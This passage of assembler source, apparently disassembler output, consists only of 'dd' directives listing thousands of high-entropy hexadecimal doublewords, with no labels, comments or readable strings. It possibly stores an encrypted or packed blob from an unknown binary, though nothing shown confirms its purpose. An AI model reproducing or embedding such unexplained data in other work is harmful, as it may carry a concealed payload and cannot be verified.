		dd 5044D93Ah, 0B5005994h, 55A961EEh, 0C7FC2675h, 9A8256D0h
		dd 0BCC107ACh, 8822B3Bh, 8C03A538h, 0F27480F1h,	609A7154h
		dd 75529825h, 40D6090Ch, 97068405h, 1FF6BC90h, 3D90163Fh
		dd 0F3480056h, 75249E50h, 0A0A30720h, 0ED3AE0h,	0D84A41D0h
		dd 577203F2h, 0DB89E50h, 0AD35F9C0h, 6E0A8FAh, 7CA3A7ABh
		dd 0C7C18D7h, 3EFF0200h, 0E0867851h, 4855483Bh,	8EB89C31h
		dd 0D50D0089h, 542DF024h, 0C3A490h, 718334F8h, 68C5A902h
		dd 3D799112h, 6CA3E802h, 46C0807Bh, 0B04921h, 1E194DECh
		dd 0A34FF716h, 48C1D0E4h, 0B80E1543h, 903D7030h, 1D9003C8h
		dd 2CB1C34Ch, 3CD9100Ah, 6830ECAEh, 16A62522h, 2CB59558h
		dd 592EBA10h, 8D09C807h, 996810FCh, 0EC6050E5h,	9C3A3C03h
		dd 30341B1Ah, 0A8A678C0h, 65E32102h, 2F8159Ah, 0D0619753h
		dd 229C3456h, 28499324h, 4F06D4A8h, 6FF8D9E7h, 22320060h
		dd 6084851Bh, 46607075h, 9E456178h, 68BD59F6h, 4B78D90Ch
		dd 5B401D91h, 31577C9Bh, 1E187915h, 18086005h, 9C221624h
		dd 0A0F9B0B0h, 0C44F01DDh, 520D10B1h, 0ED85F4F2h, 0C8356B07h
		dd 505C5A9Ah, 427418E6h, 0FA49705Bh, 88E3CF2Ch,	0F832050Ch
		dd 4AE140B5h, 65FF4500h, 0AAD91A01h, 2980C026h,	0B9AE4B3Bh
		dd 0B14FB31Fh, 4DAFA306h, 0D47802F8h, 5174C687h, 0B09990C8h
		dd 581A0531h, 0B0557A9Fh, 0A601F404h, 2C75B888h, 4B9856A8h
		dd 2DD99401h, 52F19C5Eh, 0A49AC502h, 0F8F40092h, 77020CBBh
		dd 3B24D695h, 0E198414Ch, 404D8070h, 8303C542h,	636AD612h
		dd 46BFE173h, 0E0608702h, 7C9AFC49h, 0E70084F2h, 573B10A8h
		dd 3A111659h, 4A4D92Ch,	6478B1E0h, 0F954745Dh, 0D9E3D005h
		dd 0E88D2E4Eh, 189519DCh, 0F15D0C0Dh, 70A0FE01h, 8300DE4Dh
		dd 2BF37C3Ah, 20D97EE6h, 25612CA0h, 0CBF21859h,	4B008436h
		dd 92FEE45h, 92763108h,	3F3BD900h, 47E7E981h, 3817752Ch
		dd 7024ADh, 0E274E1BEh,	0E3B85051h, 3D4E200Eh, 36E92340h
		dd 8124007Ch, 58498DC5h, 0B9075148h, 285B1629h,	8B59CD40h
		dd 81240D3Ch, 0C02E04C4h, 0F3F32C87h, 0C884C0DFh, 581CE99Ch
		dd 5147FFD2h, 2D8309B1h, 0F55D036Eh, 0C7B4E27Bh, 9D7314D9h
		dd 0FBCCDA43h, 0A10534E5h, 74E0502Dh, 7B58F024h, 0A45CEA8Fh
		dd 0C83603Dh, 51C8AF0Fh, 0BE1C78C8h, 8702C38Fh,	8566240Fh
		dd 8B6C302Fh, 67893710h, 615111DEh, 41C181E1h, 40BE562Ch
		dd 5EF10106h, 7E0C8733h, 0A918BAE9h, 6689813Eh,	53FC148Bh
		dd 515B3A54h, 5AB1683Dh, 0F4348926h, 0EFF403BEh, 0CE74E9F4h
		dd 0C780A2C3h, 0B9F79911h, 823DF3DBh, 0A64FEF8h, 302B8C2Ch
		dd 0D8E90268h, 5B525C60h, 1FFBCD81h, 0A157A0Dh,	0A0AD8FD1h
		dd 5D8C0790h, 8F59791Dh, 583B07D4h, 78EDF619h, 816D40BBh
		dd 6B50D6C7h, 0DF0C01FFh, 1A2D0DE9h, 0E9345233h, 4FAD334h
		dd 5BD16EAEh, 9FEC9BFAh, 7D8ADFB3h, 3CC18334h, 81268FE3h
		dd 277E7C2h, 42D2F700h,	78BD0A55h, 8F7470Fh, 6804FE63h
		dd 8D1E10C9h, 1714FD52h, 0F04D8ECCh, 209C0110h,	0E08901F7h
		dd 831D1123h, 0E95083C0h, 12417E30h, 6885019Ch,	0E3D557A0h
		dd 0A0670B1h, 0DB21840Fh, 3BC600A1h, 0E9714708h, 16C1DE3Ah
		dd 0E2D1C209h, 828A77D9h, 6AF78368h, 0E261B703h, 81004A5Bh
		dd 2A0F61C3h, 7F834BBDh, 8923375Fh, 3E44A91h, 0ED049EB6h
		dd 806376E9h, 38DC051Ah, 28293116h, 0A072DF8h, 0FFE9555Fh
		dd 675A92ACh, 5C15C579h, 79A4C5D2h, 68B2807Ch, 2C9A0351h
		dd 0AAE80139h, 40AAD05Fh, 11433B8Dh, 25F821EAh,	51E6F7E4h
		dd 17E68100h, 0F71AB440h, 1F6F0D6h, 0E77FFFEBh,	0A18BF201h
		dd 0EA12FE4Ah, 5CD8AF19h, 0F8CE2A0h, 0C8287DB1h, 312C5900h
		dd 7663C9E9h, 97B3535Ch, 0E90E884h, 1D592DADh, 7F550839h
		dd 8510219Ch, 0FF50E905h, 25F9E206h, 0C280193Ah, 0FC0106C9h
		dd 0C9A81CAh, 472C8B28h, 237E6812h, 2A16B75Ah, 54249FC2h
		dd 404D06E8h, 642FD4Eh,	31D63333h, 30D0669h, 49CFEB00h
		dd 8C2006C4h, 0F265D7Ch, 0D0411E08h, 320571Dh, 59486129h
		dd 0D12D0CC6h, 0E1FA3158h, 490844EEh, 6D3A50C5h, 91870524h
		dd 7DAE38h, 30C0E2B6h, 20608E6h, 8C03B450h, 4EE9E4D0h
		dd 9C9E48FCh, 0FCA05D88h, 9FA8328Eh, 385433E9h,	0AC78B7D4h
		dd 7ED9CC20h, 1D905952h, 1C895C0Ah, 97864FAFh, 0EC51DB70h
		dd 7D110628h, 95035B45h, 5E00EC37h, 367FCF81h, 4F385A1Dh
		dd 59B8EFC1h, 36607D18h, 0D44C038Ch, 8E1C155h, 0B002E999h
		dd 81050D06h, 0A7850FF1h, 9EC62351h, 0E31B7949h, 0BC652A68h
		dd 1DF06D91h, 408075A8h, 31375A2Eh, 0CA5D9E54h,	0D536813h
		dd 21CA684Dh, 22BEA649h, 0B5D3F78Eh, 23468480h,	3866E741h
		dd 0F1FE317Bh, 0BE0B3491h, 0F1462900h, 0EE834E3Fh, 9A19FCFFh
		dd 71B50F52h, 3D26EB28h, 0C5004754h, 2DC6A4B9h,	0F25DEA09h
		dd 57B20EF2h, 0BF6079CFh, 3F8370FCh, 3BC0E910h,	59409245h
		dd 76AE0243h, 9101FE7Ch
		dd 0DFF10065h, 2175A324h, 209CE58h, 16347AE6h, 35C66007h
		dd 53880537h, 0C706E5C1h, 492640CEh, 0E91868CCh, 0AD48797Ah
		dd 7BAF7905h, 0CBEAAAh,	166FE4Ah, 6CC4E9D8h, 561C0E92h
		dd 0F29EEE89h, 9DCE5C9h, 9BC50A1Fh, 0BF225E26h,	0CE604CFCh
		dd 47CB11Ch, 68662659h,	42932479h, 81C3A0B2h, 0C8A082E5h
		dd 96C8560h, 0E40C2C80h, 2E51E84Dh, 3173685Bh, 22D29457h
		dd 803210CAh, 0EFC1660Bh, 7A025427h, 0B8A8BDE7h, 6C2D691h
		dd 3AD51241h, 64CDCDEBh, 5E58A948h, 457C9DEh, 404405Fh
		dd 286FC298h, 5A75D2C0h, 94B25202h, 60E7EA80h, 0EC86BA53h
		dd 0C6CA9066h, 8F386E56h, 82AB0F34h, 52ACA5C1h,	0AE9117A2h
		dd 1812D2A2h, 6AC77A4Ch, 9FDA1083h, 5135657Dh, 489D1B37h
		dd 1C0A62A0h, 0EABDE959h, 708F5092h, 700D480Eh,	2C8AB8C3h
		dd 44011290h, 58240CF0h, 2E28E129h, 11086C68h, 0A1645E17h
		dd 5574EF27h, 0AC6D71Eh, 0A4D8CE55h, 44F5017Ah,	0E85925BCh
		dd 299A5EF7h, 0DF195C5Ch, 73CC6845h, 0F90C7E5Eh, 9A541062h
		dd 0D9836121h, 64E62CE9h, 0B00BEEDFh, 71FD53Eh,	6A6A1A80h
		dd 51541240h, 60F1A136h, 0DB028754h, 44DA685Ah,	16802C47h
		dd 20076DEFh, 0A92E805h, 7BCCF520h, 0E265305Bh,	5E54560Ch
		dd 2A07CEA0h, 29E149CDh, 991A1760h, 0AFAEBE85h,	39E1A869h
		dd 4E06354Ah, 0C4C7834Fh, 3789EF07h, 216F09EDh,	0CBF07C2Eh
		dd 932A9320h, 158C2610h, 0CE3BAA5Dh, 0A5E51B94h, 0DD17251Ah
		dd 99F8F34Ch, 0A02991D7h, 7A844A90h, 31272C4Ah,	0FC330E0h
		dd 66C030B6h, 75E9872Ch, 0F78149C0h, 7BE47380h,	4FD05334h
		dd 0D4528944h, 899D3EE4h, 0E9805F5Ah, 6ACC5C0Ah, 52BA016Fh
		dd 0D1F70E44h, 410360C2h, 148A02BDh, 88D1015Bh,	0A2464F3h
		dd 2B4BE989h, 0B2CD0883h, 18640310h, 5590265h, 18BE88Bh
		dd 691AFAC3h, 6782100Fh, 545B09A0h, 75786885h, 81503246h
		dd 3805091Eh, 4E2227C5h, 2EC2535Ah, 0C1C6F1C2h,	32234320h
		dd 460ECCFEh, 903BA752h, 3ED4EA7Bh, 88B81633h, 0F52F394Eh
		dd 0C1734AEEh, 292C5D65h, 83E184h, 5BCABB53h, 50331F62h
		dd 12E5DB8h, 45C82565h,	3D05C885h, 0CED71F0Ch, 8A39E631h
		dd 0EA661F62h, 0EDC5ED76h, 8D321E9h, 0F65BA088h, 0F8E2EAD4h
		dd 18F16CB7h, 3181332Fh, 0FB703595h, 53D82C78h,	138A096Ah
		dd 70BB6B19h, 60582EDFh, 0D243498Bh, 67727780h,	2E7E15h
		dd 3B3E40F6h, 5EF3014Eh, 0DE98DEE6h, 0BF17C429h, 4302BA8Ch
		dd 0E9D60A01h, 83EC7AC3h, 0C686DEF6h, 256DE2D1h, 0DD32BE1Dh
		dd 30245108h, 5807737Bh, 0CD01F940h, 83C988EAh,	24FB7521h
		dd 1B8230D2h, 0D680632h, 642E3EBEh, 0C6885287h,	15E9F121h
		dd 6641E035h, 16285954h, 0B512F9F7h, 1553941h, 0C230C829h
		dd 0B48740D0h, 0E1885E1Eh, 70534853h, 0E69B09h,	0F3478C9Ch
		dd 38FB866h, 3BCB3705h,	0E9D8DFF7h, 0F3A48A64h,	0A477913Dh
		dd 0C93DA50Dh, 0DC6882C3h, 57AA9927h, 4B21E7D1h, 80B95212h
		dd 59CF2906h, 995B887h,	57E9545Ch, 403ADABh, 7E0EFF5h
		dd 0B9FA5638h, 5F1AE067h, 494FCF62h, 6A06C233h,	152D5C00h
		dd 5635C93Fh, 45681F52h, 5A018B0Ah, 7DAE6381h, 588D41A3h
		dd 0B253036Ch, 4CD4CBCDh, 73BD6E7h, 96B2D730h, 6D76690Fh
		dd 380025FEh, 0FD01223Ah, 0A85898E9h, 5C14E286h, 4A0C031Ah
		dd 156AD2F7h, 22251700h, 0FABE5642h, 0CF9A1FF8h, 95E4231h
		dd 0EC441C57h, 50838F85h, 233EDE9h, 65BEC65Fh, 9BE04703h
		dd 4053952h, 0EEC14E1Ch, 21957287h, 0A125C68Dh,	0EC54CBB0h
		dd 89E42FE3h, 295FFA01h, 4E7CE9D1h, 92DE564h, 6DD9647Dh
		dd 0ABA9D26Ah, 2103CB2Eh, 0CAD58BD8h, 54B6400Ch, 33C2AAA1h
		dd 7ED42E47h, 0FB0FA5ACh, 22DB2B3Ch, 79BA5270h,	9E7B2E63h
		dd 0A059A88Bh, 206709h,	0C9817AE5h, 5D0A7D2Bh, 6B76A990h
		dd 17FEF0Eh, 20BBE9C8h,	434BD84h, 7E7E7A60h, 69C588E3h
		dd 6EA0BE90h, 0EFB12CF4h, 0EF685882h, 4A38E608h, 99BC6254h
		dd 0C9028152h, 497E1C3Ah, 0C18A4050h, 557A2638h, 23310786h
		dd 0C729206Ah, 8C4DE958h, 360500A6h, 11F420Ah, 72D50D8h
		dd 88B129E9h, 48F908ECh, 0BC9F350Eh, 459326DEh,	8F832849h
		dd 0D77804EEh, 265522A0h, 0CE22E589h, 774CEDCBh, 6530DC90h
		dd 0A3F31F20h, 4FBC3D21h, 1626AB99h, 0F8E4EA0Fh, 5CC8D130h
		dd 905BD889h, 747F004Eh, 0F0011917h, 494AE95Eh,	0F333310Ah
		dd 0F0AC5226h, 2584C65Ah, 0CBA81077h, 7822CA4h,	518A79EEh
		dd 20D5F75Dh, 60099E3h,	0E5C11345h, 4685708h, 228C7B65h
		dd 80B9855Fh, 2B54E7F1h, 3E37F226h, 0EE244E28h,	0EB00BD4Ch
		dd 0C117E222h, 0E9060AE7h, 44A982DAh, 88CDF0E0h, 0FD9AC8A3h
		dd 0B8250D53h, 5C6F88BEh, 9893F928h, 3841E269h,	0E90EBECh
		dd 294DF319h, 8BB1076h,	1E9EE90Bh, 27682DA0h, 134C7141h
		dd 0B8A47D49h, 0F253841Bh, 1C779196h, 32058728h, 2711410h
		dd 382DE93Eh, 0DCF0DE46h, 0BD052FBAh, 26B62CE7h, 1F969E00h
		dd 50317228h, 0E4D8A9E8h, 8D3503D0h, 895FFC0Ch,	0F901FA1Dh
		dd 1B5D94B1h, 0DD438266h, 91E9F705h, 5859B32Ch,	879265B4h
		dd 9DE931D0h, 6222D651h, 23503336h, 3F848E33h, 44E1F4EBh
		dd 53C0FD06h, 9A94AB54h, 9980544Dh, 160FA40h, 7EF21EDh
		dd 0D1B65508h, 205F55A7h, 3049EFFDh, 0FB0114F1h, 3D9C12B1h
		dd 74F428D1h, 0F0687353h, 58443529h, 3B07F65Eh,	0F879D440h
		dd 6FE95702h, 0F2C88ED0h, 0BF0072CFh, 4968111Dh, 0A8F73AE9h
		dd 0D905B2B3h, 2922D75Eh, 0A3AD597h, 0DF17EBA6h, 889C2A84h
		dd 25FC45AFh, 0C0E16275h, 2FE46850h, 584A0095h,	391DBD55h
		dd 5003CEDh, 45CF0180h,	804E42E9h, 0E2638952h, 7F4AC270h
		dd 24C64165h, 445CB469h, 8B1A524h, 91841430h, 0D301C50Bh
		dd 58685E17h, 0A200864Fh, 105666Dh, 0F5F4CF8h, 0E69E90Ch
		dd 0E9B8FE45h, 936168F1h, 2EE9113Ch, 65D987AEh,	573AC252h
		dd 0CFFA9309h, 9CC6E1D6h, 268868ECh, 2640494Bh,	1B82C991h
		dd 0BF440235h, 2CC654E5h, 78189DC1h, 0EC10DF03h, 1A978F2Ch
		dd 3140E351h, 58FC0E77h, 569C94B0h, 0AF0833ACh,	30142FF3h
		dd 1842239Eh, 0D1220959h, 79EC8E68h, 1C82535Ch,	5B93D432h
		dd 51CF2701h, 0E3D8282Ah, 364F0522h, 11DBF72Fh,	50EEFE1h
		dd 2D410D59h, 236C4168h, 0BCB9034Fh, 0EE1C2A0Bh, 0C29BB089h
		dd 0D9F7591Ah, 0DDC51C63h, 4C4DD1C1h, 5E5E54F7h, 0FA5F9346h
		dd 0FF554CDEh, 890E1552h, 0EF615EF5h, 5DFA015Dh, 0CCDD017Eh
		dd 0D3CD0582h, 68DF0DA8h, 401A58CAh, 892B7ABEh,	0EE310901h
		dd 3AB4E95Dh, 59BA1A81h, 711E6773h, 0D09F797h, 665AD529h
		dd 749B18Fh, 0C70C7DE7h, 0C8608B68h, 0E6AA6CE9h, 2FFA08D8h
		dd 129B5853h, 2484A1E9h, 9DFE1783h, 0A04CBDB7h,	1641B1C4h
		dd 0B0B24967h, 0DE7D8206h, 421F64CCh, 0D54D7CC6h, 0FCB482Bh
		dd 4A08E0C1h, 124FDF95h, 6061758Dh, 0A7A6F005h,	0B8037441h
		dd 0F7578868h, 2077983Eh, 551712FAh, 3645D54h, 0A0F9F9C2h
		dd 0A2E0C3B7h, 89EF07F1h, 6B015BDEh, 239091C6h,	92B00EB9h
		dd 20D7B5Fh, 7E1C171h, 0BD6AF7E9h, 0AF3E37C5h, 47118927h
		dd 1EA5A537h, 2238F552h, 5B12D204h, 0CF328D71h,	0AB2C103h
		dd 58A4C865h, 66428211h, 48A73505h, 81FC81FBh, 7563922h
		dd 7D58748Ah, 64D194B2h
		dd 0F81B92BAh, 0F81283C4h, 5C807A59h, 502D2EC9h, 999BFF3Bh
		dd 9D10257Bh, 349C090Eh, 0D962E268h, 6CE56A5Bh,	59C3F86Dh
		dd 0A4488B58h, 680B0749h, 8E40D98h, 675C06F0h, 8C3DD7A3h
		dd 59FE2CACh, 0A872DA83h, 7FD05C6Eh, 814BD186h,	490DDDE8h
		dd 81B182F0h, 356F24C7h, 0F22F8E13h, 5852CB09h,	68580971h
		dd 81C70637h, 0F15AD10Ah, 5910E4A4h, 39338824h,	0C1AE62C1h
		dd 0DED3E90Ah, 0BFBC412Ah, 60535A01h, 46908A29h, 0FA290613h
		dd 258DFA11h, 0F6F14487h, 7D80FFFFh, 12EE81C6h,	7F7DF26Eh
		dd 0E1627524h, 6D560153h, 0E974DF07h, 28F550ECh, 0EB1E80E3h
		dd 0B5D2584Ch, 15D36E23h, 0CE5C4DFAh, 5B472432h, 890A681h
		dd 0CE29C433h, 2344E9B0h, 0B5570BF7h, 0B1A274FEh, 0A842C809h
		dd 822D7D19h, 0E927CF28h, 488950D8h, 0E5E1621h,	0C793681Dh
		dd 0D48975F3h, 2F1550Ch, 0D9D18A9Fh, 0A7E1809Eh, 4961426Fh
		dd 267BF0A0h, 31ED6A0Eh, 341AE5CBh, 9AC385C8h, 0C8FE3D4Eh
		dd 0DE2C4880h, 0C058C728h, 1D04EF3Eh, 914380CFh, 56AF3E9h
		dd 611DEAFFh, 53E35F3Ah, 0C0AE84FDh, 0EB2AC258h, 219C2813h
		dd 7049569Eh, 4F0C1898h, 0F54BD728h, 882E1B0h, 0E904F159h
		dd 0DCD4C28Fh, 4301FA13h, 0D752735h, 0B3089820h, 468B01ECh
		dd 2BF71F04h, 1CD47E83h, 0AA2C3Ah, 505266D8h, 8016A8B4h
		dd 2983FEECh, 0DE99DC99h, 0CBA52FCEh, 6234CDE7h, 0D41293C7h
		dd 0CF2ED62h, 0D371B7D6h, 7D862F5Ch, 0CB12375Bh, 25576F3Ch
		dd 4E04EBE9h, 496CA85Fh, 461793F5h, 7D634B85h, 0F9D4E151h
		dd 382F1A2Dh, 0D954AE24h, 0C5AF46DFh, 5009F675h, 8428DAB0h
		dd 9BC2663Eh, 80EC48A9h, 3DFC79EDh, 34AEEB88h, 685C8270h
		dd 8F9814A8h, 0F8E046B7h, 1455AC95h, 821928E9h,	60BF2918h
		dd 0EAA8B1C9h, 52D2252Dh, 385866A9h, 5960A796h,	935F5457h
		dd 0A49D2016h, 36EB0CE2h, 4D166B66h, 5C887E41h,	5E0E4349h
		dd 0C156A95Dh, 402FD89Ah, 0D3F701A5h, 55499068h, 65E28114h
		dd 0D82026BEh, 4E6407F4h, 76D7874Ah, 0DF5C09D2h, 387604FAh
		dd 4E80400Dh, 122AEEF9h, 0E4FB094Bh, 7D40F742h,	12FA9B53h
		dd 3D23B15Ch, 0E98384BBh, 0B99CC5B8h, 0BB8EFFDCh, 0E949400Ch
		dd 0B30ADD20h, 15CA1F05h, 0ED77C542h, 7B28320h,	0F70D9367h
		dd 2B41F3D6h, 9BB01E16h, 94FE480Bh, 0ADAE80AFh,	851F268Eh
		dd 93E90B4Eh, 41ED78E8h, 38EB7D1Fh, 5039C55Eh, 9049E908h
		dd 0F7490D60h, 0AFC8D2D9h, 0DB8648BDh, 86335914h, 2D89312Ah
		dd 0E61856C3h, 1D1FEDBFh, 0A29747C1h, 4DA1E5C4h, 61247CE1h
		dd 59DA7F88h, 82583C01h, 0E6E883B1h, 285BAA74h,	92FB5667h
		dd 5A77EA71h, 17FB45C0h, 18D0207Eh, 407B4A7Ah, 0E11E049h
		dd 2B70E7BEh, 0EAF2E327h, 78F36A05h, 0A4EA28CCh, 68320C83h
		dd 53615B8Ch, 420B4666h, 6723A06Bh, 93D3D1Fh, 403B1492h
		dd 4D90054Ah, 8EF6E0C0h, 5A5F469Ah, 82293732h, 741D4FC4h
		dd 47B9C201h, 30F05846h, 55750563h, 2CD37643h, 0A449442Eh
		dd 0D552C74Ch, 531CE09Dh, 0D0885013h, 0DFF677C1h, 25BFADCh
		dd 0E9ECCA80h, 5590C8Ah, 0A6168BADh, 1E4795FEh,	12D831ADh
		dd 0C0C784C8h, 0B1E35CB5h, 0D7CD794Bh, 0F01EF41h, 0E9AC0128h
		dd 0CE0F3B25h, 4AA8F6C4h, 6D89D1E0h, 0EA800065h, 0D4883196h
		dd 58549862h, 70F15097h, 4149724Ch, 219481F2h, 0E6202C5Eh
		dd 6EF28C1h, 6B8E0BD4h,	0D9685F11h, 3B2463CFh, 0D302F11Ch
		dd 62BFDB76h, 5EF221AEh, 76A8D189h, 40E3926Dh, 11F4E52Ch
		dd 0CA653E4Ch, 943D9F5Ah, 3B7B40D9h, 18691872h,	265A490Ch
		dd 259B1FAFh, 94FEF0CEh, 49A0781Ah, 4E0BF5D5h, 2394B564h
		dd 0EDF6861h, 98941328h, 5237EF01h, 8BEDBD49h, 5CD310Bh
		dd 0A24107F7h, 0F9F7665Ch, 4EA668CCh, 0C1F65E4Dh, 0DCE99C50h
		dd 107F2DBEh, 800E7933h, 0C76E9FF7h, 1E6FCA9Eh,	0EBC1808Ah
		dd 46685106h, 0C0E4071h, 7ECB0959h, 4E74E54Ah, 335CBD80h
		dd 2DC1498Bh, 0F00E02EDh, 0DA0506BEh, 336EA0A4h, 3044C56Dh
		dd 0F9B897D4h, 0A11BF5A7h, 0A4E82C45h, 0A03025F5h, 0AB829DC4h
		dd 477413B9h, 11E8CBCFh, 813C5CAEh, 380B012h, 0D8F606D0h
		dd 1E164EFFh, 5BEBCB8Fh, 3ABE950Eh, 0CDF3D6F8h,	78A7307Ch
		dd 113882E9h, 0E02CF50Ch, 0C5883436h, 9280E944h, 81715FAFh
		dd 0C901A849h, 527C680Fh, 0C841E9A3h, 525825D6h, 0E3630061h
		dd 0C120D11Bh, 0E91A07EAh, 0B11C77D0h, 95325611h, 0B06C5E25h
		dd 2055FB2Dh, 49C370B3h, 0C7293E4Dh, 8D1D2F97h,	85B31D7Fh
		dd 0E457E9B2h, 123C45D2h, 5A0BE36Ch, 0C6429968h, 3A84809Ah
		dd 4C9C9D5Eh, 2ED24C83h, 484F1BADh, 7440B985h, 124ABE31h
		dd 1225CAD0h, 0D05346E9h, 65120E34h, 0D68E880Eh, 44B7520h
		dd 457A3B49h, 59DFE583h, 0F5E85777h, 0C678DE7Dh, 1683015Ch
		dd 58892FFEh, 45BFECE1h, 5DB0FABFh, 6853560Fh, 9C71C40Fh
		dd 0EB27864Bh, 2FF2B388h, 0BAC63A8Fh, 0C3078732h, 2129032Dh
		dd 4BB88FB4h, 0B753AC00h, 80C7FEF7h, 0E9B3EF27h, 0C488D8ACh
		dd 0BB0061CFh, 27BD8A0Dh, 5BDD3E29h, 0C9235E93h, 34653F48h
		dd 0B4FE12E0h, 49672873h, 0EB3A6C94h, 81CD4EFDh, 97A8046Ch
		dd 27C0494Ch, 122B32B8h, 12893E50h, 5A65C267h, 4BA8BF45h
		dd 0BC65BC3Eh, 70DFA609h, 4CC8855Ah, 0ECADDAA0h, 17D59A34h
		dd 0CA637068h, 1F592C13h, 501B9C54h, 7C4EF1E9h,	0A848298Fh
		dd 58A30B4Ah, 0A73DA051h, 0FA394486h, 55B88112h, 32E8A05Ch
		dd 4C1C0D1Ah, 58070499h, 40633E8h, 66BD382Fh, 0A353C724h
		dd 9D1C7781h, 11C95866h, 2910A87Dh, 0CBA05DBCh,	0BBD727EFh
		dd 1D474C20h, 9EB0181h,	1A29A2Ah, 0F1CE42D8h, 57741129h
		dd 973B3820h, 0F501DC98h, 80B54282h, 80E5C571h,	29920C96h
		dd 95585DEBh, 7FB23E3Fh, 7775F30Ah, 0E40BD1E7h,	249351C3h
		dd 138C2811h, 2C15849h,	736E059Dh, 0D0F79F40h, 351CE3EEh
		dd 25C75937h, 2172894Ch, 0A2C5C3C6h, 80A95972h,	0D455615h
		dd 0C809CB81h, 86347913h, 7B8E0560h, 0E447E8Eh,	4AE9DE21h
		dd 60768675h, 0C680DDEFh, 0F47A3047h, 14117F34h, 247978FDh
		dd 97CC3F10h, 9D8DD1CBh, 0B156034Ah, 432222D3h,	0BCBF0E2Ah
		dd 0E1364A42h, 97D302E9h, 0D232BD22h, 64DB7EE8h, 674CD133h
		dd 0D679972Fh, 26CD8904h, 4819985h, 5F6802B9h, 8B264596h
		dd 8F22083Ch, 0C4BB2189h, 3E69B16Eh, 92421E13h,	3DE4350Fh
		dd 0A503C5B6h, 0EA7A9F6Ah, 5000500Dh, 55AB285Fh, 42ABD19h
		dd 141BD237h, 239326F7h, 52C9CB0Bh, 479B0C65h, 74B02A20h
		dd 12467512h, 31FDF290h, 0E97B09D7h, 2F985A94h,	1262B168h
		dd 537693DBh, 113A0B5Ch, 495F6046h, 0BD373D4Ah,	8FD53192h
		dd 0E9C2ADE2h, 9EF3444Dh, 14C6910Bh, 9D524B3Bh,	7D606B28h
		dd 0B1525EF2h, 0C95A1183h, 48FDE2AEh, 9B2C5CE5h, 5758411Ch
		dd 0F4E07B55h, 0A80948FDh, 933CA901h, 3F4D4542h, 49853E1Eh
		dd 22806783h, 3DA8584Eh, 67E8E923h, 0D6F30AC4h,	81C4B2E2h
		dd 6F50E580h, 8F703D61h, 7566516Dh, 5F35D478h, 92FB090Ah
		dd 30AC0660h, 9551D83Fh, 0C6BC7266h, 4B3B0283h,	5E638C36h
		dd 40522094h, 264CAA33h, 201315Dh, 754F7DACh, 153DCF40h
		dd 18551030h, 0ED12353Bh, 617D163Ah, 0D6A6E92Ah, 82F3B5A7h
		dd 0AF921C87h, 0CC9491C4h, 0FDE6801h, 34FD5165h, 0F284DA62h
		dd 855111ECh, 0C1336850h
		dd 0E039EF01h, 39525C7Fh, 0A2D45A53h, 0F806154Bh, 57028415h
		dd 8C6E954h, 0BD161CC4h, 0A0F68441h, 0F30C5140h, 0BC8B6A43h
		dd 955CCE9Ch, 400ABC90h, 0B0318381h, 8F809144h,	0D4427Fh
		dd 0DCB50538h, 0C131F0BEh, 0CF785860h, 0B86C935Dh, 3DF90238h
		dd 0CD015269h, 8022042h, 0CE78BFE9h, 0C15348h, 18EC7C77h
		dd 7E838BBBh, 73699813h, 0CDC0A259h, 29660BEAh,	0F20C2F10h
		dd 3CA60082h, 0F6B46B8Eh, 24F9921Fh, 399EA87h, 352B507Eh
		dd 276BBE9h, 0BBE2715Dh, 0F6C9B448h, 0B60F3701h, 718D4CCh
		dd 0F0BF30C0h, 55F3E51h, 65D53DB9h, 0E977B0CEh,	23D0385Ah
		dd 49EE22C4h, 0E260C771h, 3BDF7269h, 0BCEE914h,	3FF8DD2h
		dd 0B2025C68h, 0D17D056Ah, 0B80370DCh, 0E9677BBDh, 0BB00524Fh
		dd 770BAE6Dh, 0C6F331ECh, 5F212DF8h, 13E93FA1h,	0E593254Dh
		dd 3343E032h, 55721195h, 9C38EAE4h, 1F509899h, 43032B68h
		dd 0F75B2342h, 5462EAD3h, 327C28F0h, 2D0CDA7Bh,	1A77856h
		dd 0B0969FDh, 3559D461h, 9917F830h, 0DD688967h,	3B70ECADh
		dd 0DED96412h, 0E9EC2C6Bh, 0F8AC7FBBh, 318C182Ch, 14C740D9h
		dd 0B6AD34AFh, 0BA52CF07h, 838C0530h, 4EC947Fh,	9BC7D829h
		dd 6A4FD492h, 0BD837C2Eh, 81257D18h, 181313B9h,	51E02A63h
		dd 7CAA1EC1h, 0F102BB91h, 0EE2E6492h, 5700577Ch, 7C1CC268h
		dd 15FEA011h, 0DA318021h, 0BB684ACh, 6070E909h,	42D4032h
		dd 6FB0981Fh, 0DA2FA029h, 62115B55h, 375710EAh,	30645A24h
		dd 0E1C0581Dh, 7806056Bh, 70F849E4h, 0F763804Eh, 0C0F47ADAh
		dd 3E7C10Eh, 241678D1h,	1319F29Fh, 0A5437CE9h, 54543042h
		dd 6FC75D4Ah, 817EF671h, 0D8506CDh, 9471CFE9h, 786E99B3h
		dd 5AD1C4C5h, 0FC06EB3h, 0C968C8BEh, 9F745B59h,	5EB6B79Ah
		dd 6311B9Ch, 95C0D00h, 62840FC0h, 0B139DE4h, 0A0BA202h
		dd 642939ADh, 29539106h, 31E9611Dh, 0B3293F1Fh,	920BC5A7h
		dd 67535318h, 2AF52DC0h, 13A0F8C1h, 0F05DEE01h,	134E086Dh
		dd 74AD1064h, 0DF55E9C2h, 0A62C98F1h, 1EA20A13h, 64B4C04Fh
		dd 0F7FD028h, 17E06C2Ah, 52F7BB04h, 0CEFC3E3Dh,	0AD04EB02h
		dd 3D58C1C2h, 6070B990h, 1114B048h, 3C6006ECh, 0EBC094B3h
		dd 35B057Dh, 0ACEC5195h, 26B67010h, 74027E5Fh, 7409F32Dh
		dd 0C51C5A3Dh, 0D285665Fh, 9C59B11h, 84F4EF80h,	0BB091627h
		dd 0E4051E6h, 92ED945Ah, 0E650A157h, 47B19896h,	0ED4408h
		dd 485AD089h, 9F6D8F7h,	609D064Ah, 0D34578ECh, 5A90300Ah
		dd 9AB5D301h, 19284288h, 0C255F8ECh, 64D33080h,	0B86B0412h
		dd 844A2622h, 6953C66Fh, 10304204h, 0F6835D63h,	0A821BB72h
		dd 98557E5Eh, 1675740Ch, 9BD2902h, 39061B1h, 83985052h
		dd 18103A0Ah, 4C108E74h, 0FA465F14h, 87AA050Ah,	1E1C0C9Bh
		dd 6804538Fh, 6AB169D2h, 36E482D0h, 3E385C20h, 2516C100h
		dd 3EE95033h, 60986392h, 0DBDFA2EEh, 8F0884Bh, 81809F4Ah
		dd 0E51FBFEEh, 91564A53h, 68D4F653h, 8C6880DBh,	9247E71Ah
		dd 0D9101F8h, 0E4E91FEDh, 9D934952h, 0F745B20Ah, 0F3C045DDh
